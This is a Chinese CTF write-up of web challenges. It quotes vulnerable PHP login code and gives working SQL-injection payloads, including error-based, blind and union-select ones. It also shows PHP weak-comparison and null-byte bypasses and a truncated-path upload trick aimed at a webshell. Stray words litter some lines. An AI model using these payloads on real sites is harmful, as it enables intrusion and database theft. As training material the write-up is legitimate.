最近在刷CTF题,主攻Web,兼职Miscphp
<!--more-->html
F12查看响应头,发现返回tips
访问test.php文件获得源代码:mysql
<?php define("SECRET_KEY", '***********'); define("METHOD", "aes-128-cbc"); error_reporting(0); include('conn.php'); function sqliCheck($str){ if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)){ return 1; } return 0; } function get_random_iv(){ $random_iv=''; for($i=0;$i<16;$i++){ $random_iv.=chr(rand(1,255)); } return $random_iv; } function login($info){ $iv = get_random_iv(); $plain = serialize($info); $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv); setcookie("iv", base64_encode($iv)); setcookie("cipher", base64_encode($cipher)); } function show_homepage(){ global $link; if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){ $cipher = base64_decode($_COOKIE['cipher']); $iv = base64_decode($_COOKIE["iv"]); if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){ $info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>"); $sql="select * from users limit ".$info['id'].",0"; $result=mysqli_query($link,$sql); if(mysqli_num_rows($result)>0 or die(mysqli_error($link))){ $rows=mysqli_fetch_array($result); echo '<h1><center>Hello!'.$rows['username'].'</center></h1>'; } else{ echo '<h1><center>Hello!</center></h1>'; } }else{ die("ERROR!"); } } } if(isset($_POST['id'])){ $id = (string)$_POST['id']; if(sqliCheck($id)) die("<h1 style='color:red'><center>sql inject detected!</center></h1>"); $info = array('id'=>$id); login($info); echo '<h1><center>Hello!</center></h1>'; }else{ if(isset($_COOKIE["iv"])&&isset($_COOKIE['cipher'])){ show_homepage(); }else{ echo '<body class="login-body" style="margin:0 auto"> <div id="wrapper" style="margin:0 auto;width:800px;"> <form name="login-form" class="login-form" action="" method="post"> <div class="header"> <h1>Login Form</h1> <span>input id to login</span> </div> <div class="content"> <input name="id" type="text" class="input id" value="id" onfocus="this.value=\'\'" /> </div> <div class="footer"> <p><input type="submit" name="submit" value="Login" class="button" /></p> </div> </form> </div> </body>'; } }?>
代码分析:web
漏洞缘由:
aes-128-cbc加密存在CBC翻转攻击(不理解,暂时跳过)sql
md5("ffifdyop",True)
获得的加密字符串为'or'6<crash>
(注:or '数字+字母'
等价于or true
)打开网页,右键查看源代码发现源码:
shell
<!-- $password=$_POST['password']; $sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'"; $result=mysqli_query($link,$sql); if(mysqli_num_rows($result)>0){ echo 'flag is :'.$flag; } else{ echo '密码错误!'; } -->
上网查了下,了解到md5($password,true)返回的是原始 16 字符二进制格式的密文,返回的内容能够存在单引号,故咱们能够找个字符串,使其md5(str,true)加密过返回的字符串与原sql语句拼接形成SQL注入攻击。
通过简单的Fuzz,咱们知道:字符串'or'6<乱码>"
,此时若是拼接到sql语句中,那么这条语句将会变成一条永真式,所以成功登陆,得到flag。
数据库
=
被过滤可用regexp 'xxx'
和in (0xaaaa)
代替观察题目可知此题考的是报错注入,右键源代码获得提高:Post发送username&password。
sql语句以下:vim
$sql="select * from users where username='$username' and password='$password'";
注意:此处可控的参数有两个。
简单手工测试,发现过滤了#,and
等关键字,并且username处单独过滤了右括号,这意味着咱们没法再username出使用函数,于是咱们将目光转向password。
通过一番人工Fuzz,发现只有exp()函数没有被过滤,故咱们构造语句:exp(~(select * from(select user())a))
成功爆出用户名。 最终咱们的payload以下:数组
username=a'/*&password=*/Or exp(~(select * from(select database())a))or'1 //查询当前数据库 username=a'/*&password=*/Or exp(~(select * from(select group_concat(table_name) from information_schema.tables where table_schema regexp 'error_based_hpf')a))or'1 //查询表名,此处因为=被过滤,咱们使用regexp来绕过 username=a'/*&password=*/Or exp(~(select * from(select group_concat(column_name) from information_schema.columns where table_name regexp 'ffll44jj')a))or'1 //查询列名,此处因为and被过滤,故而不加数据库名的验证,在实际渗透中最好仍是尽可能加上。 username=a'/*&password=*/Or exp(~(select * from(select group_concat(value) from ffll44jj)a))or'1 //获取flag
打开网页,随便输入个数字,页面返回You are in...
,输入在数字后加单引号,返回You are not in...
。
猜想此处考的是bool盲注,根据页面返回的内容判断真假。
通过一番简单的fuzz,发现此处过滤的函数只会过滤一次,那么咱们能够将过滤关键词双写:oorr
就行了。浏览器
id=aaa'oorr(1=1)='1 //返回You are in id=aaa'oorr(1=2)='1 //返回You are not in // 此处的aaa是为了让前边条件为假,那么sql语句的判断将依赖于后边的语句 // 即:false ∪ (条件一) = 条件一
咱们先判断数据库长度:
id=aaa'oorr(length(database())>1)='1
其次循环取数据库名进行判断:
id=aaa'oorr(mid((select+database())from(1)foorr(1))='c')='1 //因为,被过滤,使用from与for进行绕过,记得for要写成foorr绕过过滤,+号绕过空格过滤
接着循环判断表名:
id=aaa'oorr(mid((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))from(1)foorr(1))='a')='1
以后就不写了,与上边相似,写脚本跑就好。
2147483647
(2^31-1) 64位:9223372036854775807
(2^63-1)打开题目,发现返回头存在提示信息:
打开连接得到源码:
<?php $info = ""; $req = []; $flag="xxxxxxxxxx"; ini_set("display_error", false); error_reporting(0); if(!isset($_POST['number'])){ header("hint:6c525af4059b4fe7d8c33a.txt"); die("have a fun!!"); } foreach([$_POST] as $global_var) { foreach($global_var as $key => $value) { $value = trim($value); is_string($value) && $req[$key] = addslashes($value); } } function is_palindrome_number($number) { $number = strval($number); $i = 0; $j = strlen($number) - 1; while($i < $j) { if($number[$i] !== $number[$j]) { return false; } $i++; $j--; } return true; } if(is_numeric($_REQUEST['number'])){ $info="sorry, you cann't input a number!"; }elseif($req['number']!=strval(intval($req['number']))){ $info = "number must be equal to it's integer!! "; }else{ $value1 = intval($req["number"]); $value2 = intval(strrev($req["number"])); if($value1!=$value2){ $info="no, this is not a palindrome number!"; }else{ if(is_palindrome_number($req["number"])){ $info = "nice! {$value1} is a palindrome number!"; }else{ $info=$flag; } } } echo $info; ?>
代码流程:
is_numeric[false] && $req['number']!=strval(intval($req['number']))[false]
-> $value1!=$value2[false]
-> is_palindrome_number($req["number"])[true]
咱们知道is_numeric函数与ereg函数同样,存在截断漏洞,而第二个if判断存在弱类型比较的漏洞,咱们将这两个漏洞组合起来打一套组合拳。
PHP语言对于32位系统的int变量来讲,最大值是2147483647,若是咱们传入的数值为2147483647的话,通过strrev函数反转再转成int函数还是2147483647,由于746384741>2147483647,转成int变量会减少成2147483647,故而绕过看似矛盾的条件。
而对于开始的is_numeric,加上%00或%20便可,此时is_numeric函数便不会认为这是个数字,而对于下边的strval()in、intval()却无影响。
综上所述,咱们的number应为:2147483647%00、2147483647%20、%002147483647。
此处%20不能再开头的缘由是intval()会将其转换成数字0,而%00无影响。
打开页面,猜想考的是万能密码,手动Fuzz发现过滤了or,故改用'='
成功。
抓包,发现回显的数据貌似是直接取header的值,没有通过数据库,使用报错注入失败,猜想是盲注,因为bool盲注返回的页面一致,故此题应为时间盲注:
简单测试发现逗号被过滤,致使咱们没法使用if语句,不过咱们能够换成case when then else语句代替:
剩下的就是写脚本慢慢跑了,此处略过。
gourp by xxx with rollup limit 1 offset x#
【建立虚拟表最后一行为pwd的值为NULL,借用offset偏移到最后一个,post传输空的pwd,知足条件】右键源代码获得提示信息source.txt
,打开获得源码。
<?php error_reporting(0); if (!isset($_POST['uname']) || !isset($_POST['pwd'])) { echo '<form action="" method="post">'."<br/>"; echo '<input name="uname" type="text"/>'."<br/>"; echo '<input name="pwd" type="text"/>'."<br/>"; echo '<input type="submit" />'."<br/>"; echo '</form>'."<br/>"; echo '<!--source: source.txt-->'."<br/>"; die; } function AttackFilter($StrKey,$StrValue,$ArrReq){ if (is_array($StrValue)){ $StrValue=implode($StrValue); } if (preg_match("/".$ArrReq."/is",$StrValue)==1){ print "水可载舟,亦可赛艇!"; exit(); } } $filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)"; foreach($_POST as $key=>$value){ AttackFilter($key,$value,$filter); } $con = mysql_connect("XXXXXX","XXXXXX","XXXXXX"); if (!$con){ die('Could not connect: ' . mysql_error()); } $db="XXXXXX"; mysql_select_db($db, $con); $sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'"; $query = mysql_query($sql); if (mysql_num_rows($query) == 1) { $key = mysql_fetch_array($query); if($key['pwd'] == $_POST['pwd']) { print "CTF{XXXXXX}"; }else{ print "亦可赛艇!"; } }else{ print "一颗赛艇!"; } mysql_close($con); ?>
阅读源码可知,咱们须要让数据库返回的pwd字段与咱们post的内容相同,注意此处是弱类型比较。
咱们知道grou by with roolup 将建立个虚拟表,且表的最后一行pwd字段为Null。
mysql> create table test (
-> user varchar(100) not null,
-> pwd varchar(100) not null);
mysql>insert into test values("admin","mypass");
mysql>select * from test group by pwd with rollup
mysql> select * from test group by pwd with rollup;
+-------+------------+
| user | pwd |
+-------+------------+
| guest | alsomypass |
| admin | mypass |
| admin | NULL |
+-------+------------+
3 rows in set
mysql> select * from test group by pwd with rollup limit 1
;
+-------+------------+
| user | pwd |
+-------+------------+
| guest | alsomypass |
+-------+------------+
mysql> select * from test group by pwd with rollup limit 1 offset 0
;
+-------+------------+
| user | pwd |
+-------+------------+
| guest | alsomypass |
+-------+------------+
1 row in set
mysql> select * from test group by pwd with rollup limit 1 offset 1
;
+-------+--------+
| user | pwd |
+-------+--------+
| admin | mypass |
+-------+--------+
1 row in set
mysql> select * from test group by pwd with rollup limit 1 offset 2
;
+-------+------+
| user | pwd |
+-------+------+
| admin | NULL |
+-------+------+
1 row in set
构造payload:
uname=1' or true group by pwd with rollup limit 1 offset 2#&pwd=
offset 2为偏移两个数据,即第三行的pwd字段为空。
exp函数报错一把嗦
简单Fuzz发现过滤了空格,使用内敛注释一把嗦。
/**/select/**/group_concat(table_name)/**/from/**/information_schema.tables=database()
selectselect
import requests,base64 r = requests.get('http://ctf5.shiyanbar.com/web/10/10.php') key=base64.b64decode(r.headers['FLAG'])[-9:] r = requests.post('http://ctf5.shiyanbar.com/web/10/10.php',data={'key':key}) print(r.text)
index.php/index.php
index.php/index.php
==
弱类型比较,PHP序列化与反序列化右键查看源代码发现部分源码 :
咱们知道0e开头的字符串在与数字0作弱类型比较时会先转成数值0在比较,故:咱们只要输入一个经md5加密后密文为0e开头的字符串便可。
s878926199a 0e545993274517709034328855841020 s155964671a 0e342768416822451524974117254469 s214587387a 0e848240448830537924465865611904 s214587387a 0e848240448830537924465865611904 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s1885207154a 0e509367213418206700842008763514 s1502113478a 0e861580163291561247404381396064 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s155964671a 0e342768416822451524974117254469 s1184209335a 0e072485820392773389523109082030 s1665632922a 0e731198061491163073197128363787 s1502113478a 0e861580163291561247404381396064 s1836677006a 0e481036490867661113260034900752 s1091221200a 0e940624217856561557816327384675 s155964671a 0e342768416822451524974117254469 s1502113478a 0e861580163291561247404381396064 s155964671a 0e342768416822451524974117254469 s1665632922a 0e731198061491163073197128363787 s155964671a 0e342768416822451524974117254469 s1091221200a 0e940624217856561557816327384675 s1836677006a 0e481036490867661113260034900752 s1885207154a 0e509367213418206700842008763514 s532378020a 0e220463095855511507588041205815 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s214587387a 0e848240448830537924465865611904 s1502113478a 0e861580163291561247404381396064 s1091221200a 0e940624217856561557816327384675 s1665632922a 0e731198061491163073197128363787 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s1665632922a 0e731198061491163073197128363787 s878926199a 0e545993274517709034328855841020
.submit.php.swp
........这一行是省略的代码........ /* 若是登陆邮箱地址不是管理员则 die() 数据库结构 -- -- 表的结构 `user` -- CREATE TABLE IF NOT EXISTS `user` ( `id` int(11) NOT NULL AUTO_INCREMENT, `username` varchar(255) NOT NULL, `email` varchar(255) NOT NULL, `token` int(255) NOT NULL DEFAULT '0', PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ; -- -- 转存表中的数据 `user` -- INSERT INTO `user` (`id`, `username`, `email`, `token`) VALUES (1, '****不可见***', '***不可见***', 0); */ ........这一行是省略的代码........ if(!empty($token)&&!empty($emailAddress)){ if(strlen($token)!=10) die('fail'); if($token!='0') die('fail'); $sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'"; $r = mysql_query($sql) or die('db error'); $r = mysql_fetch_assoc($r); $r = $r['num']; if($r>0){ echo $flag; }else{ echo "失败了呀"; } }
payload: token=0e11111111&emailAddress=admin@simplexue.com
1e9%00*-*
打开题目,获得题目源码:
<?php if (isset ($_GET['password'])) { if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE) { echo '<p>You password must be alphanumeric</p>'; } else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999) { if (strpos ($_GET['password'], '*-*') !== FALSE) { die('Flag: ' . $flag); } else { echo('<p>*-* have not been found</p>'); } } else { echo '<p>Invalid password</p>'; } } ?>
首先判断是否用过get方式传入password,其次判断是否只含有数字和字母,若是是则返回错误,接着判断长度小于8且大于9999999。看到这里估计就知道是要考科学计数法了,最后要求get的数据包含*-*
。
咱们知道1E8就等于10000000,这样就能够知足长度小于8且大于9999999的条件,不过咱们先得绕开判断只有数字和字母的条件,咱们知道ereg函数可利用%00进行截断攻击,故咱们的payload构造以下:
?password=1e8%00*-*
注意此处的%00只占一个字符的大小。
删掉Cookie,?password=
打开题目获得源码:
<?php session_start(); if (isset ($_GET['password'])) { if ($_GET['password'] == $_SESSION['password']) die ('Flag: '.$flag); else print '<p>Wrong guess.</p>'; } mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000)); ?>
建立session,经过get方式取password值再与session里的password值进行比较,这里咱们不知道 session里的password值是多少的,并且咱们并不能控制session,不过这里的比较是用==弱类型比较,猜测,若是咱们将cookie删除,那么$_SESSION['password']的值将为NULL,此时若是咱们get传入的 password为空,即'',那么比较结果即为true。
payload:
将cookie删除或禁用,接着访问?password=
?name[]=1&password[]=2
打开题目得到源码:
<?php if (isset($_GET['name']) and isset($_GET['password'])) { if ($_GET['name'] == $_GET['password']) echo '<p>Your password can not be your name!</p>'; else if (sha1($_GET['name']) === sha1($_GET['password'])) die('Flag: '.$flag); else echo '<p>Invalid password.</p>'; } else{ echo '<p>Login first!</p>'; ?>
咱们知道sha1()函数与md5()相似,当参数为数组时会返回NULL,若是咱们传入的name与password为数组时不管其为何值,均可以经过sha1($name)===sha1($password)
的强类型判断。
故咱们的payload构造以下:
?name[]=a&password[]=b
/upload/1.php%00
burp抓个上传包:
首先尝试了文件名%00阶段,发现无用,而后看到了咱们能够控制上传的目录名,猜想后台为获取目录名再与文件名拼接。
若是咱们的目录名存在截断漏洞,那么咱们能够构造/uploads/1.php%00这样拼接的时候就只有目录名,达到getshell的目的。
部分: x = "~88:36e1bg8438e41757d:29cgeb6e48c`GUDTO|;hbmg" c = "" for a in x: b = ord(a) c += chr(b-1) print(c)
打开题目:
解密问题,按照加密过程反着解密便可。
user=123aaa%27+union+select+%27c4ca4238a0b923820dcc509a6f75849b&pass=1
打开题目,右键查看源代码获得题目源码:
<html> <head> welcome to simplexue </head> <body> <?php if($_POST[user] && $_POST[pass]) { $conn = mysql_connect("********, "*****", "********"); mysql_select_db("phpformysql") or die("Could not select database"); if ($conn->connect_error) { die("Connection failed: " . mysql_error($conn)); } $user = $_POST[user]; $pass = md5($_POST[pass]); $sql = "select pw from php where user='$user'"; $query = mysql_query($sql); if (!$query) { printf("Error: %s\n", mysql_error($conn)); exit(); } $row = mysql_fetch_array($query, MYSQL_ASSOC); //echo $row["pw"]; if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) { echo "<p>Logged in! Key:************** </p>"; } else { echo("<p>Log in failure!</p>"); } } ?> <form method=post action=index.php> <input type=text name=user value="Username"> <input type=password name=pass value="Password"> <input type=submit> </form> </body> <a href="index.txt"> </html>
strcasecmp()函数不分大小写进行字符串比较。
首先咱们不知道数据库里已有的用户值为多少,更不知其密码。
不过咱们能够经过构造联合查询注入来返回咱们自定义的数据。
payloadd: user=abc' union select 'c4ca4238a0b923820dcc509a6f75849b&pass=1
1的md5为:c4ca4238a0b923820dcc509a6f75849b
复制代码到浏览器控制台执行便可
复制粘贴进浏览器的js控制台,回车运行便可。
id=%2568ackerDJ
打开题目,页面提示:index.php.txt,打开获得源码:
<?php if(eregi("hackerDJ",$_GET[id])) { echo("<p>not allowed!</p>"); exit(); } $_GET[id] = urldecode($_GET[id]); if($_GET[id] == "hackerDJ") { echo "<p>Access granted!</p>"; echo "<p>flag: *****************} </p>"; } ?> <br><br> Can you authenticate to this website?
$_GET[id]
在取到值后已经自动urldecode了一次,然然后边再用urldecode解码一次,故可使用二次编码绕过前边的关键字检测。
查看访问请求返回头,发现有东西:
将这串base64放到表单里提交便可。